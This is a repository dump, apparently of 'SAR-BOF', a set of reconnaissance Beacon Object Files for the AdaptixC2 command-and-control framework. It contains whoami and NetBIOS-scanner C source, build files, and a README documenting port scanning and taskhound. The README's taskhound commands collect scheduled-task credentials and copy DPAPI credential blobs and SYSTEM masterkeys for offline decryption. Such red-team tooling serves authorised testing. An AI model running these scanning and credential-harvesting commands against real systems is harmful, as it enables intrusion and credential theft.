WhoamiGetTokenInfo(TokenPrivileges);\n    DWORD dwResult = 0, dwIndex = 0;\n    WhoamiTable *PrivTable = NULL;\n\n    if (pPrivInfo == NULL)\n    {\n        return 1;\n    }\n\n    internal_printf(\"\\n\\n%-30s%-50s%-30s\\n\", \"Privilege Name\", \"Description\", \"State\");\n    internal_printf(\"============================= ================================================= ===========================\\n\");\n\n    for (dwIndex = 0; dwIndex < pPrivInfo->PrivilegeCount; dwIndex++)\n    {\n        char* PrivName = NULL;\n        char* DispName = NULL;\n        DWORD PrivNameSize = 0, DispNameSize = 0;\n        BOOL ret = FALSE;\n\n        ADVAPI32$LookupPrivilegeNameA(NULL,\n                                   &pPrivInfo->Privileges[dwIndex].Luid,\n                                   NULL,\n                                   &PrivNameSize); // getting size\n\n        PrivName = intAlloc(++PrivNameSize);\n\n        if(ADVAPI32$LookupPrivilegeNameA(NULL,\n                             &pPrivInfo->Privileges[dwIndex].Luid,\n                             PrivName,\n                             &PrivNameSize) == 0)\n                             {\n                                 if(PrivName){intFree(PrivName); PrivName = NULL;}\n                                 continue; // try to get next\n                             }\n\n        //WhoamiSetTableDyn(PrivTable, PrivName, dwIndex + 1, 0);\n        internal_printf(\"%-30s\", PrivName);\n\n\n        /* try to grab the size of the string, also, beware, as this call is\n           unimplemented in ReactOS/Wine at the moment */\n\n        ADVAPI32$LookupPrivilegeDisplayNameA(NULL, PrivName, NULL, &DispNameSize, &dwResult);\n\n        DispName = intAlloc(++DispNameSize);\n\n        ret = ADVAPI32$LookupPrivilegeDisplayNameA(NULL, PrivName, DispName, &DispNameSize, &dwResult);\n        if(PrivName != NULL)\n            intFree(PrivName);\n        if (ret && DispName)\n        {\n            internal_printf(\"%-50s\", DispName);\n        }\n        else\n        {\n            internal_printf(\"%-50s\", \"???\");\n        }\n        if (DispName != NULL)\n                intFree(DispName);\n\n        if (pPrivInfo->Privileges[dwIndex].Attributes & SE_PRIVILEGE_ENABLED)\n            internal_printf(\"%-30s\\n\", \"Enabled\");\n        else\n            internal_printf(\"%-30s\\n\", \"Disabled\");\n    }\n\n\n    /* cleanup our allocations */\n    if(pPrivInfo){intFree(pPrivInfo);}\n\n    return 0;\n}\n\nVOID go( \n\tIN PCHAR Buffer, \n\tIN ULONG Length \n) \n{\n\tif(!bofstart())\n\t{\n\t\treturn;\n\t}\n\t(void)WhoamiUser();\n\t(void)WhoamiGroups();\n\t(void)WhoamiPriv();\n\tprintoutput(TRUE);\n};\n"
  },
  {
    "path": "SAR-BOF/CMakeLists.txt",
    "content": "cmake_minimum_required(VERSION 3.16)\n#project(SAR-BOF C)\n\nset(CMAKE_C_STANDARD 99)\n\n# Include directories (main _include is at root level)\ninclude_directories(${CMAKE_SOURCE_DIR}/_include)\n\n# Source files\nset(SMARTSCAN_SOURCES smartscan/portscan_simple.c)\nset(TASKHOUND_SOURCES taskhound/taskhound.c)\nset(QUSER_SOURCES quser/quser.c)\nset(NBTSCAN_SOURCES nbtscan/nbtscan.c)\n\n# Compiler flags\nset(CMAKE_C_FLAGS \"${CMAKE_C_FLAGS} -Os -DBOF\")\nset(CMAKE_C_FLAGS_RELEASE \"${CMAKE_C_FLAGS_RELEASE} -s\")\n\n# Object file targets\nadd_library(smartscan OBJECT ${SMARTSCAN_SOURCES})\n\nadd_library(taskhound OBJECT ${TASKHOUND_SOURCES})\ntarget_compile_options(taskhound PRIVATE -mno-stack-arg-probe)\n\nadd_library(quser OBJECT ${QUSER_SOURCES})\n\nadd_library(nbtscan OBJECT ${NBTSCAN_SOURCES})\n\n# Create _bin directory\nfile(MAKE_DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR}/_bin)\n\n# Custom commands to copy object files to _bin\nadd_custom_target(copy_smartscan ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:smartscan> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/smartscan.x64.o\n    DEPENDS smartscan\n    COMMENT \"Copying smartscan object file\"\n)\n\nadd_custom_target(copy_taskhound ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:taskhound> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/taskhound.x64.o\n    DEPENDS taskhound\n    COMMENT \"Copying taskhound object file\"\n)\n\nadd_custom_target(copy_quser ALL\n    COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:quser> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/quser.x64.o\n    DEPENDS quser\n    COMMENT \"Copying quser object file\"\n)\n\nadd_custom_target(copy_nbtscan ALL\n        COMMAND ${CMAKE_COMMAND} -E copy $<TARGET_OBJECTS:nbtscan> ${CMAKE_CURRENT_SOURCE_DIR}/_bin/nbtscan.x64.o\n        DEPENDS nbtscan\n        COMMENT \"Copying nbtscan object file\"\n)"
  },
  {
    "path": "SAR-BOF/Makefile",
    "content": "CC64 = x86_64-w64-mingw32-gcc\nCC86 = i686-w64-mingw32-gcc\nSTRIP64 = x86_64-w64-mingw32-strip --strip-unneeded\nSTRIP86 = i686-w64-mingw32-strip --strip-unneeded\nCFLAGS = -I ../_include -DBOF -c\n\nall: bof\n\nbof: clean\n\t@(mkdir _bin 2>/dev/null) && echo 'creating _bin directory' || echo '_bin directory exists'\n\n\t# 64-bit builds\n\t@($(CC64) $(CFLAGS) -s smartscan/portscan_simple.c -o _bin/smartscan.x64.o && $(STRIP64) _bin/smartscan.x64.o) && echo '[+] smartscan' || echo '[!] smartscan'\n\t@($(CC64) $(CFLAGS) -s nbtscan/nbtscan.c -o _bin/nbtscan.x64.o && $(STRIP64) _bin/nbtscan.x64.o) && echo '[+] nbtscan' || echo '[!] nbtscan'\n\t@($(CC64) $(CFLAGS) taskhound/taskhound.c -o _bin/taskhound.x64.o && $(STRIP64) _bin/taskhound.x64.o) && echo '[+] taskhound' || echo '[!] taskhound'\n\t@($(CC64) $(CFLAGS) quser/quser.c -o _bin/quser.x64.o && $(STRIP64) _bin/quser.x64.o) && echo '[+] quser' || echo '[!] quser'\n\n\t# 32-bit builds\n\t@($(CC86) $(CFLAGS) -s smartscan/portscan_simple.c -o _bin/smartscan.x32.o   && $(STRIP86) _bin/smartscan.x32.o)   && echo '[+] smartscan (x32)'   || echo '[!] smartscan (x32)'\n\t@($(CC86) $(CFLAGS) -s nbtscan/nbtscan.c           -o _bin/nbtscan.x32.o     && $(STRIP86) _bin/nbtscan.x32.o)     && echo '[+] nbtscan (x32)'     || echo '[!] nbtscan (x32)'\n\t@#($(CC86) $(CFLAGS) taskhound/taskhound.c          -o _bin/taskhound.x32.o   && $(STRIP86) _bin/taskhound.x32.o)   && echo '[+] taskhound (x32)'   || echo '[!] taskhound (x32)'\n\t@($(CC86) $(CFLAGS) quser/quser.c                  -o _bin/quser.x32.o       && $(STRIP86) _bin/quser.x32.o)       && echo '[+] quser (x32)'       || echo '[!] quser (x32)'\n\nclean:\n\t@(rm -rf _bin)"
  },
  {
    "path": "SAR-BOF/README.md",
    "content": "# SAR-BOF\n\nThis extension enhances situational awareness by providing a set of remote Beacon Object File (BOF) commands. These commands allow the operator to gather detailed information about the target.\n\n![](_img/01.png)\n\n\n\n## nbtscan\n\nNetBIOS name scanner that queries NetBIOS name service (port 137) to discover NetBIOS names, MAC addresses, and service information from Windows hosts on the network. Automatically registers discovered targets in AdaptixC2.\n\n```\nnbtscan <target> [-v] [-q] [-e] [-l] [-s <separator>] [-t <timeout>] [-no-targets]\n```\n\n- `target` (required): Destination IP address, range or CIDR format\n    - Single IP: `192.168.1.1`\n    - IP range: `192.168.1.1-192.168.1.20` or `192.168.1.1-20`\n    - CIDR: `192.168.1.0/24`\n    - Comma-separated: `192.168.1.1,192.168.1.5,192.168.1.10`\n- `-v` (optional): Verbose output - shows detailed NetBIOS information including service types\n- `-q` (optional): Quiet mode - suppresses error messages\n- `-e` (optional): Output in `/etc/hosts` format\n- `-l` (optional): Output in `lmhosts` format\n- `-s <separator>` (optional): Script-friendly output with custom separator (enables script mode)\n- `-t <timeout>` (optional): Response timeout in milliseconds (default: 1000, max: 600000)\n- `-no-targets` (optional): Disable automatic target registration in Adaptix\n\n**Output Formats:**\n\n1. **Normal mode** (default): Shows IP address, NetBIOS name, and MAC address\n2. **Verbose mode** (`-v`): Shows detailed information including:\n    - NetBIOS names with service types (00, 03, 20, etc.)\n    - MAC address\n    - Domain/workgroup information\n3. **Script mode** (`-s <separator>`): Machine-readable output with custom separator\n4. **Hosts format** (`-e` or `-l`): Output suitable for `/etc/hosts` or `lmhosts` files\n\n**NetBIOS Service Types:**\n\n| Code | Service Type |\n|------|--------------|\n| `00` | Workstation Service |\n| `03` | Messenger Service |\n| `20` | File Server Service |\n| `1B` | Domain Master Browser |\n| `1C` | Domain Controller |\n| `1D` | Master Browser |\n| `1E` | Browser Service Elections |\n\n```Shell\n# Basic scan of a single host\nnbtscan 192.168.1.1\n\n# Scan a subnet\nnbtscan 192.168.1.0/24\n\n# Scan an IP range\nnbtscan 192.168.1.1-192.168.1.20\n\n# Verbose output with detailed information\nnbtscan 192.168.1.0/24 -v\n\n# Quiet mode (suppress errors)\nnbtscan 192.168.1.0/24 -q\n\n# Output in /etc/hosts format\nnbtscan 192.168.1.0/24 -e\n\n# Output in lmhosts format\nnbtscan 192.168.1.0/24 -l\n\n# Script-friendly output with custom separator\nnbtscan 192.168.1.0/24 -s \"|\"\n\n# Custom timeout (2 seconds)\nnbtscan 192.168.1.0/24 -t 2000\n\n# Scan without auto-registering targets\nnbtscan 192.168.1.0/24 -no-targets\n\n# Combined: verbose scan with custom timeout\nnbtscan 192.168.1.0/24 -v -t 3000\n```\n\n**Target Registration:**\n\nBy default, nbtscan automatically registers discovered hosts in Adaptix with the following information:\n- Computer name (from NetBIOS name)\n- Domain/workgroup (if available)\n- IP address\n- OS information (if detected)\n- MAC address\n\nUse `-no-targets` flag to disable automatic registration if you only want to view the scan results without adding them to Adaptix targets.\n\n\n\n## smartscan\n\nSingle-threaded silent port scanner\n\n```\nsmartscan <targets> [-p mode/port_list]\n```\n\n**Modes**\n1. fast\n* Web services: 80, 443, 8080, 8443\n* Databases: 1433, 1521, 3306, 5432, 6379, 27017\n2. standart\n* Web Services: 80, 443, 8080, 8443\n* Databases: 1433, 1521, 3306, 5432, 6379, 27017\n* Windows-specific: 135, 139, 445, 3389, 5985, 5986\n* Linux-specific: 22\n* Infrastructure: 21, 25, 53, 110, 143, 993, 995\n3. full\n* Web Services: 80, 443, 8080, 8443, 8000, 8888\n* Databases: 1433, 1521, 3306, 5432, 6379, 27017, 9200, 9300\n* Windows/Domain Controllers: 135, 139, 445, 3389, 5985, 5986, 88, 389, 636, 3268, 3269\n* Linux/Unix: 22, 23\n* Infrastructure: 21, 25, 53, 69, 110, 111, 143, 993, 995\n* Other Services: 7, 9, 13, 19, 37, 79, 113, 119, 1025, 1434, 1604, 1723, 2000, 2001, 2048, 2049, 2100, 3128, 5000, 5060, 5061, 5900, 6000, 6667, 8081, 9000, 10000, 11211\n\n```\nsmartscan 192.168.1.1 -p full\n\nsmartscan 192.168.1.1-192.168.1.10 -p standart\n\nsmartscan 192.168.1.1/24 -p 20-25,80-90,443\n```\n\n\n\n## taskhound\n\nCollect scheduled tasks from remote systems, with options to filter for domain accounts with stored credentials and save XML task definitions for offline analysis. Can also collect DPAPI credential blobs and masterkeys for offline decryption.\n\n```\ntaskhound <target> [username] [password] [-save <directory>] [-unsaved-creds] [-grab-blobs]\n```\n\n- `target` (required): Remote system to collect from (IP or hostname)\n- `username` (optional): Username for authentication\n- `password` (optional): Password for authentication\n- `-save <directory>` (optional): Directory to save XML task files locally\n- `-unsaved-creds` (optional): Show tasks without stored credentials (interactive token only)\n- `-grab-blobs` (optional): Also collect credential blobs and masterkeys (requires `-save` flag)\n\n```Shell\n# Basic usage with current user context\ntaskhound 192.168.1.100\n\n# Using explicit credentials\ntaskhound DC01 -u domain\\admin -p P@ssw0rd\n\n# Save XML files locally for offline analysis\ntaskhound 192.168.1.100 -save C:\\TaskOutput\n\n# Show all domain tasks including those without stored credentials\ntaskhound 192.168.1.100 -unsaved-creds\n\n# Combined: save files and show all tasks\ntaskhound DC01 -u domain\\admin -p P@ssw0rd -save C:\\Output -unsaved-creds\n\n# Collect tasks + credential blobs and masterkeys for offline decryption\ntaskhound 192.168.1.100 -save C:\\TaskOutput -grab-blobs\n\n# Full collection with credentials\ntaskhound DC01 -u domain\\admin -p P@ssw0rd -save C:\\Output -grab-blobs\n```\n\n**DPAPI Collection:**\n\nWhen the `-grab-blobs` flag is used along with `-save`, TaskHound will additionally collect:\n- **Credential Blobs**: `C:\\Windows\\System32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Credentials\\*`\n- **SYSTEM Masterkeys**: `C:\\Windows\\System32\\Microsoft\\Protect\\S-1-5-18\\User\\*`\n\nThese files are saved to:\n- `<save_dir>\\<hostname>\\credentials\\*` (credential blobs)\n- `<save_dir>\\<hostname>\\masterkeys\\*` (masterkeys)\n\nThe collected DPAPI files can be used with offline decryption tools to extract stored credentials from scheduled tasks.\n\n\n\n## quser\n\nQuery user sessions on a remote machine, providing session information.\n\n```\nquser [host]\n```\n\n\n\n## Credits\n* TaskHound - https://github.com/1r0BIT/TaskHound\n* Quser-BOF - https://github.com/netero1010/Quser-BOF\n* NBTscan - https://github.com/shashinma/NBTscan-BOF"
  },
  {
    "path": "SAR-BOF/nbtscan/nbtscan.c",
    "content": "#include \"nbtscan.h\"\n\nvoid bofstart() {}\nvoid bofstop() {}\n\nstatic unsigned int nbtscan_strlen(const char *s) {\n    return (unsigned int)MSVCRT$strlen(s);\n}\n\nstatic void nbtscan_strcpy(char *dst, const char *src) {\n    MSVCRT$strcpy(dst, src);\n}\n\nstatic char *nbtscan_strchr(char *s, int c) {\n    return MSVCRT$strchr(s, c);\n}\n\nstatic unsigned long nbtscan_strtoul(const char *s) {\n    return MSVCRT$strtoul(s, NULL, 10);\n}\n\nstatic char nbtscan_upper(char c) {\n    if (c >= 'a' && c <= 'z') {\n        return (char)(c - 'a' + 'A');\n    }\n    return c;\n}\n\nstatic my_uint16_t nbtscan_get16(const unsigned char *data) {\n    return (my_uint16_t)((data[0] << 8) | data[1]);\n}\n\nstatic my_uint32_t nbtscan_get32(const unsigned char *data) {\n    return ((my_uint32_t)data[0] << 24) |\n           ((my_uint32_t)data[1] << 16) |\n           ((my_uint32_t)data[2] << 8)  |\n           (my_uint32_t)data[3];\n}\n\nstatic int nbtscan_is_ip(const char *s, ip_range32_t *range) {\n    unsigned long addr = WS2_32$inet_addr(s);\n    if (addr == 0xFFFFFFFFUL) {\n        return 0;\n    }\n    my_uint32_t h = WS2_32$ntohl(addr);\n    range->start_ip = h;\n    range->end_ip   = h;\n    return 1;\n}\n\nstatic int nbtscan_is_range_dash(char *s, ip_range32_t *range) {\n    char *dash = nbtscan_strchr(s, '-');\n    if (!dash) return 0;\n\n    *dash = '\\0';\n    char *first = s;\n    char *second = dash + 1;\n\n    unsigned long addr1 = WS2_32$inet_addr(first);\n    if (addr1 == 0xFFFFFFFFUL) {\n        return 0;\n    }\n    my_uint32_t start_h = WS2_32$ntohl(addr1);\n\n    if (nbtscan_strchr(second, '.') != NULL) {\n        unsigned long addr2 = WS2_32$inet_addr(second);\n        if (addr2 == 0xFFFFFFFFUL) {\n            return 0;\n        }\n        my_uint32_t end_h = WS2_32$ntohl(addr2);\n        if (end_h < start_h) return 0;\n        range->start_ip = start_h;\n        range->end_ip   = end_h;\n        return 1;\n    }\n\n    unsigned long last_octet = nbtscan_strtoul(second);\n    if (last_octet > 255) return 0;\n\n    my_uint32_t end_h = (start_h & 0xFFFFFF00UL) | last_octet;\n    if (end_h < start_h) return 0;\n    range->start_ip = start_h;\n    range->end_ip   = end_h;\n    return 1;\n}\n\nstatic int nbtscan_is_cidr(char *s, ip_range32_t *range) {\n    char *slash = nbtscan_strchr(s, '/');\n    if (!slash) return 0;\n\n    *slash = '\\0';\n    char *ip_part = s;\n    char *mask_part = slash + 1;\n\n    unsigned long addr = WS2_32$inet_addr(ip_part);\n    if (addr == 0xFFFFFFFFUL) {\n        return 0;\n    }\n    unsigned long mask_bits = nbtscan_strtoul(mask_part);\n    if (mask_bits == 0 || mask_bits > 32) {\n        return 0;\n    }\n\n    my_uint32_t h = WS2_32$ntohl(addr);\n    my_uint32_t mask32;\n    if (mask_bits == 32) {\n        mask32 = 0xFFFFFFFFUL;\n    } else {\n        mask32 = ((1UL << mask_bits) - 1UL) << (32 - mask_bits);\n    }\n    my_uint32_t start = h & mask32;\n    my_uint32_t end   = start | ~mask32;\n\n    range->start_ip = start;\n    range->end_ip   = end;\n    return 1;\n}\n\nstatic int nbtscan_expand_range(const ip_range32_t *range, char ***out_list, int *out_count, int *total_ips) {\n    my_uint32_t count = (range->end_ip >= range->start_ip)\n                        ? (range->end_ip - range->start_ip + 1)\n                        : 0;\n    if (count == 0) return 0;\n\n    if (*total_ips + (int)count > NBTS_MAX_IPS) {\n        count = NBTS_MAX_IPS - *total_ips;\n    }\n    if (count == 0) return 0;\n\n    int new_total = *total_ips + (int)count;\n    char **new_list = (char**)intRealloc(*out_list, new_total * sizeof(char*));\n    if (!new_list) {\n        return 0;\n    }\n    *out_list = new_list;\n\n    for (my_uint32_t i = 0; i < count; i++) {\n        my_uint32_t ip_h = range->start_ip + i;\n        struct in_addr a;\n        a.s_addr = WS2_32$htonl(ip_h);\n        char *s = WS2_32$inet_ntoa(a);\n        if (!s) continue;\n\n        char *dst = (char*)intAlloc(16);\n        if (!dst) continue;\n        nbtscan_strcpy(dst, s);\n        (*out_list)[*total_ips + (int)i] = dst;\n    }\n    *out_count = new_total;\n    *total_ips = new_total;\n    return 1;\n}\n\nstatic int nbtscan_parse_targets(const char *targets, char ***out_list, int *out_count) {\n    *out_list = NULL;\n    *out_count = 0;\n    if (!targets || !targets[0]) return 0;\n\n    unsigned int len = nbtscan_strlen(targets);\n    char *copy = (char*)intAlloc(len + 1);\n    if (!copy) return 0;\n    nbtscan_strcpy(copy, targets);\n\n    char **result = NULL;\n    int total = 0;\n\n    char *ctx = NULL;\n    char *token = MSVCRT$strtok_s(copy, \",\", &ctx);\n    while (token && total < NBTS_MAX_IPS) {\n        while (*token == ' ' || *token == '\\t') token++;\n\n        char *end = token + nbtscan_strlen(token);\n        while (end > token && (end[-1] == ' ' || end[-1] == '\\t' || end[-1] == '\\r' || end[-1] == '\\n')) {\n            *--end = '\\0';\n        }\n\n        ip_range32_t range;\n        int is_range = 0;\n\n        char *work = (char*)intAlloc(nbtscan_strlen(token) + 1);\n        if (!work) {\n            break;\n        }\n        nbtscan_strcpy(work, token);\n\n        if (nbtscan_is_cidr(work, &range)) {\n            is_range = 1;\n        } else {\n            nbtscan_strcpy(work, token);\n            if (nbtscan_is_range_dash(work, &range)) {\n                is_range = 1;\n            } else {\n                nbtscan_strcpy(work, token);\n                if (nbtscan_is_ip(work, &range)) {\n                    is_range = 1;\n                }\n            }\n        }\n\n        if (is_range) {\n            nbtscan_expand_range(&range, &result, &total, &total);\n        }\n\n        intFree(work);\n        token = MSVCRT$strtok_s(NULL, \",\", &ctx);\n    }\n\n    intFree(copy);\n    *out_list = result;\n    *out_count = total;\n    return (total > 0);\n}\n\nstatic void nbtscan_free_targets(char **list, int count) {\n    if (!list) return;\n    for (int i = 0; i < count; i++) {\n        if (list[i]) {\n            intFree(list[i]);\n        }\n    }\n    intFree(list);\n}\n\nstatic void nbtscan_name_mangle_star(char *out_name) {\n    char buf[16];\n    MSVCRT$memset(buf, 0, sizeof(buf));\n    buf[0] = '*';\n\n    char *p = out_name;\n    p[0] = 32;\n    p++;\n\n    for (int i = 0; i < 16; i++) {\n        int c = (unsigned char)nbtscan_upper(buf[i]);\n        p[2 * i]     = (char)(((c >> 4) & 0x0F) + 'A');\n        p[2 * i + 1] = (char)((c & 0x0F) + 'A');\n    }\n    p[32] = 0;\n}\n\nstatic int nbtscan_send_query(SOCKET sock, struct in_addr addr, my_uint16_t tid) {\n    nbname_request_t req;\n    MSVCRT$memset(&req, 0, sizeof(req));\n\n    req.transaction_id          = WS2_32$htons(tid);\n    req.flags                   = WS2_32$htons(0x0010);\n    req.question_count          = WS2_32$htons(1);\n    req.answer_count            = 0;\n    req.name_service_count      = 0;\n    req.additional_record_count = 0;\n\n    nbtscan_name_mangle_star(req.question_name);\n    req.question_type  = WS2_32$htons(NBNAME_QUESTION_TYPE);\n    req.question_class = WS2_32$htons(NBNAME_QUESTION_CLASS);\n\n    struct sockaddr_in dst;\n    MSVCRT$memset(&dst, 0, sizeof(dst));\n    dst.sin_family = AF_INET;\n    dst.sin_port   = WS2_32$htons(NB_DGRAM);\n    dst.sin_addr   = addr;\n\n    int status = WS2_32$sendto(sock, (char*)&req, sizeof(req), 0, (struct sockaddr*)&dst, sizeof(dst));\n    return (status >= 0);\n}\n\nstatic int nbtscan_parse_response(unsigned char *buff, int buffsize, nb_host_info_t *out) {\n    if (!buff || buffsize < 0) return 0;\n    MSVCRT$memset(out, 0, sizeof(*out));\n\n    int offset = 0;\n\n    if (buffsize < 57) {\n        return 0;\n    }\n\n    nbname_response_header_t *hdr = (nbname_response_header_t*)intAlloc(sizeof(nbname_response_header_t));\n    if (!hdr) return 0;\n\n    hdr->transaction_id          = nbtscan_get16(buff + offset); offset += 2;\n    hdr->flags                   = nbtscan_get16(buff + offset); offset += 2;\n    hdr->question_count          = nbtscan_get16(buff + offset); offset += 2;\n    hdr->answer_count            = nbtscan_get16(buff + offset); offset += 2;\n    hdr->name_service_count      = nbtscan_get16(buff + offset); offset += 2;\n    hdr->additional_record_count = nbtscan_get16(buff + offset); offset += 2;\n\n    if (offset + 34 > buffsize) {\n        intFree(hdr);\n        return 0;\n    }\n    MSVCRT$memcpy(hdr->question_name, buff + offset, 34);\n    offset += 34;\n\n    if (offset + 2 > buffsize) { intFree(hdr); return 0; }\n    hdr->question_type = nbtscan_get16(buff + offset); offset += 2;\n    if (offset + 2 > buffsize) { intFree(hdr); return 0; }\n    hdr->question_class = nbtscan_get16(buff + offset); offset += 2;\n\n    if (offset + 4 > buffsize) { intFree(hdr); return 0; }\n    hdr->ttl = nbtscan_get32(buff + offset); offset += 4;\n\n    if (offset + 2 > buffsize) { intFree(hdr); return 0; }\n    hdr->rdata_length = nbtscan_get16(buff + offset); offset += 2;\n\n    if (offset + 1 > buffsize) { intFree(hdr); return 0; }\n    hdr->number_of_names = buff[offset]; offset += 1;\n\n    out->header = hdr;\n\n    int name_count = hdr->number_of_names;\n    int table_size = name_count * (int)sizeof(nbname_t);\n    if (table_size > 0) {\n        if (offset + table_size > buffsize) {\n            return 1;\n        }\n\n        nbname_t *names = (nbname_t*)intAlloc(table_size);\n        if (!names) {\n            return 1;\n        }\n        for (int i = 0; i < name_count; i++) {\n            MSVCRT$memcpy(names[i].ascii_name, buff + offset, 16);\n            offset += 16;\n            if (offset + 2 > buffsize) {\n                return 1;\n            }\n            names[i].rr_flags = nbtscan_get16(buff + offset);\n            offset += 2;\n        }\n        out->names = names;\n    }\n\n    if (offset + 6 > buffsize) {\n        return 1;\n    }\n\n    nbname_response_footer_t *foot = (nbname_response_footer_t*)intAlloc(sizeof(nbname_response_footer_t));\n    if (!foot) {\n        return 1;\n    }\n    MSVCRT$memset(foot, 0, sizeof(*foot));\n\n    MSVCRT$memcpy(foot->adapter_address, buff + offset, 6);\n    offset += 6;\n\n    out->footer = foot;\n    return 1;\n}\n\nstatic void nbtscan_free_hostinfo(nb_host_info_t *info) {\n    if (!info) return;\n    if (info->header) intFree(info->header);\n    if (info->names)  intFree(info->names);\n    if (info->footer) intFree(info->footer);\n    MSVCRT$memset(info, 0, sizeof(*info));\n}\n\nstatic void nbtscan_print_header(void) {\n    BeaconPrintf(CALLBACK_OUTPUT, \"%-17s%-17s%-17s%-10s%-17s%-17s\",\n                 \"IP address\",\n                 \"NetBIOS Name\",\n                 \"Domain/Workgroup\",\n                 \"Server\",\n                 \"User\",\n                 \"MAC address\");\n}\n\nstatic void nbtscan_pick_names(const nb_host_info_t *info,\n                               char *comp_name,\n                               char *user_name,\n                               char *domain_name,\n                               int *is_server,\n                               int *is_domain) {\n    comp_name[0] = '\\0';\n    user_name[0] = '\\0';\n    if (domain_name) domain_name[0] = '\\0';\n    *is_server = 0;\n    if (is_domain) *is_domain = 0;\n\n    if (!info->header || !info->names) return;\n\n    int first_name = 1;\n    for (int i = 0; i < info->header->number_of_names; i++) {\n        unsigned char service = (unsigned char)info->names[i].ascii_name[15];\n        int unique = !(info->names[i].rr_flags & 0x8000);\n\n        if (service == 0x00 && unique && first_name) {\n            MSVCRT$memcpy(comp_name, info->names[i].ascii_name, 15);\n            comp_name[15] = 0;\n            first_name = 0;\n        }\n        if (service == 0x00 && !unique && domain_name && !domain_name[0]) {\n            MSVCRT$memcpy(domain_name, info->names[i].ascii_name, 15);\n            domain_name[15] = 0;\n            int len = MSVCRT$strlen(domain_name);\n            while (len > 0 && domain_name[len - 1] == ' ') {\n                domain_name[len - 1] = '\\0';\n                len--;\n            }\n        }\n        if (is_domain && (service == 0x1B || service == 0x1C)) {\n            *is_domain = 1;\n        }\n        if (service == 0x20 && unique) {\n            *is_server = 1;\n        }\n        if (service == 0x03 && unique) {\n            MSVCRT$memcpy(user_name, info->names[i].ascii_name, 15);\n            user_name[15] = 0;\n        }\n    }\n    \n    if (is_domain && domain_name && domain_name[0] && *is_domain == 0) {\n        const char *workgroup_names[] = {\n            \"WORKGROUP\",\n            \"MSHOME\",\n            \"HOME\",\n            NULL\n        };\n        \n        int is_standard_workgroup = 0;\n        for (int i = 0; workgroup_names[i] != NULL; i++) {\n            int j = 0;\n            int match = 1;\n            while (domain_name[j] != '\\0' && workgroup_names[i][j] != '\\0') {\n                char c1 = nbtscan_upper(domain_name[j]);\n                char c2 = nbtscan_upper(workgroup_names[i][j]);\n                if (c1 != c2) {\n                    match = 0;\n                    break;\n                }\n                j++;\n            }\n            if (match && domain_name[j] == '\\0' && workgroup_names[i][j] == '\\0') {\n                is_standard_workgroup = 1;\n                break;\n            }\n        }\n        \n        if (!is_standard_workgroup) {\n            int len = MSVCRT$strlen(domain_name);\n            if (len >= 4) {\n                char prefix[5] = {0};\n                MSVCRT$memcpy(prefix, domain_name, 4);\n                prefix[0] = nbtscan_upper(prefix[0]);\n                prefix[1] = nbtscan_upper(prefix[1]);\n                prefix[2] = nbtscan_upper(prefix[2]);\n                prefix[3] = nbtscan_upper(prefix[3]);\n                if (MSVCRT$strcmp(prefix, \"HOME\") == 0) {\n                    int all_digits = 1;\n                    for (int k = 4; k < len; k++) {\n                        if (domain_name[k] < '0' || domain_name[k] > '9') {\n                            all_digits = 0;\n                            break;\n                        }\n                    }\n                    if (all_digits) {\n                        is_standard_workgroup = 1;\n                    }\n                }\n            }\n        }\n        \n        if (!is_standard_workgroup) {\n            *is_domain = 1;\n        }\n    }\n}\n\nstatic void nbtscan_print_hostinfo_normal(const char *ip, const nb_host_info_t *info) {\n    char comp_name[16];\n    char user_name[16];\n    char domain_name[16];\n    int is_server = 0;\n\n    nbtscan_pick_names(info, comp_name, user_name, domain_name, &is_server, NULL);\n    if (!comp_name[0]) nbtscan_strcpy(comp_name, \"<unknown>\");\n    if (!user_name[0]) nbtscan_strcpy(user_name, \"<unknown>\");\n    if (!domain_name[0]) nbtscan_strcpy(domain_name, \"<unknown>\");\n\n    if (info->footer) {\n        BeaconPrintf(CALLBACK_OUTPUT,\n                     \"%-17s%-17s%-17s%-10s%-17s%02x:%02x:%02x:%02x:%02x:%02x\",\n                     ip,\n                     comp_name,\n                     domain_name,\n                     is_server ? \"<server>\" : \"\",\n                     user_name,\n                     info->footer->adapter_address[0],\n                     info->footer->adapter_address[1],\n                     info->footer->adapter_address[2],\n                     info->footer->adapter_address[3],\n                     info->footer->adapter_address[4],\n                     info->footer->adapter_address[5]);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT,\n                     \"%-17s%-17s%-17s%-10s%-17s\",\n                     ip,\n                     comp_name,\n                     domain_name,\n                     is_server ? \"<server>\" : \"\",\n                     user_name);\n    }\n}\n\nstatic void nbtscan_print_hostinfo_verbose(const char *ip,\n                                           const nb_host_info_t *info,\n                                           const char *sep,\n                                           int script_mode) {\n    if (!info->header || !info->names) return;\n\n    if (!script_mode) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"\\nNetBIOS Name Table for Host %s:\\n\", ip);\n    }\n\n    for (int i = 0; i < info->header->number_of_names; i++) {\n        char name[16];\n        MSVCRT$memcpy(name, info->names[i].ascii_name, 15);\n        name[15] = 0;\n        unsigned char service = (unsigned char)info->names[i].ascii_name[15];\n        int unique = !(info->names[i].rr_flags & 0x8000);\n\n        // Trim trailing spaces in script mode for cleaner output\n        if (script_mode) {\n            int len = MSVCRT$strlen(name);\n            while (len > 0 && name[len - 1] == ' ') {\n                name[len - 1] = '\\0';\n                len--;\n            }\n        }\n\n        if (script_mode) {\n            BeaconPrintf(CALLBACK_OUTPUT,\n                         \"%s%s%s%s%02x%s%s\",\n                         ip,\n                         sep,\n                         name,\n                         sep,\n                         service,\n                         sep,\n                         unique ? \"U\" : \"G\");\n        } else {\n            BeaconPrintf(CALLBACK_OUTPUT,\n                         \"%-17s<%02x>%s\",\n                         name,\n                         service,\n                         unique ? \" UNIQUE\" : \" GROUP\");\n        }\n    }\n\n    if (!script_mode && info->footer) {\n        BeaconPrintf(CALLBACK_OUTPUT,\n                     \"Adapter address: %02x:%02x:%02x:%02x:%02x:%02x\",\n                     info->footer->adapter_address[0],\n                     info->footer->adapter_address[1],\n                     info->footer->adapter_address[2],\n                     info->footer->adapter_address[3],\n                     info->footer->adapter_address[4],\n                     info->footer->adapter_address[5]);\n  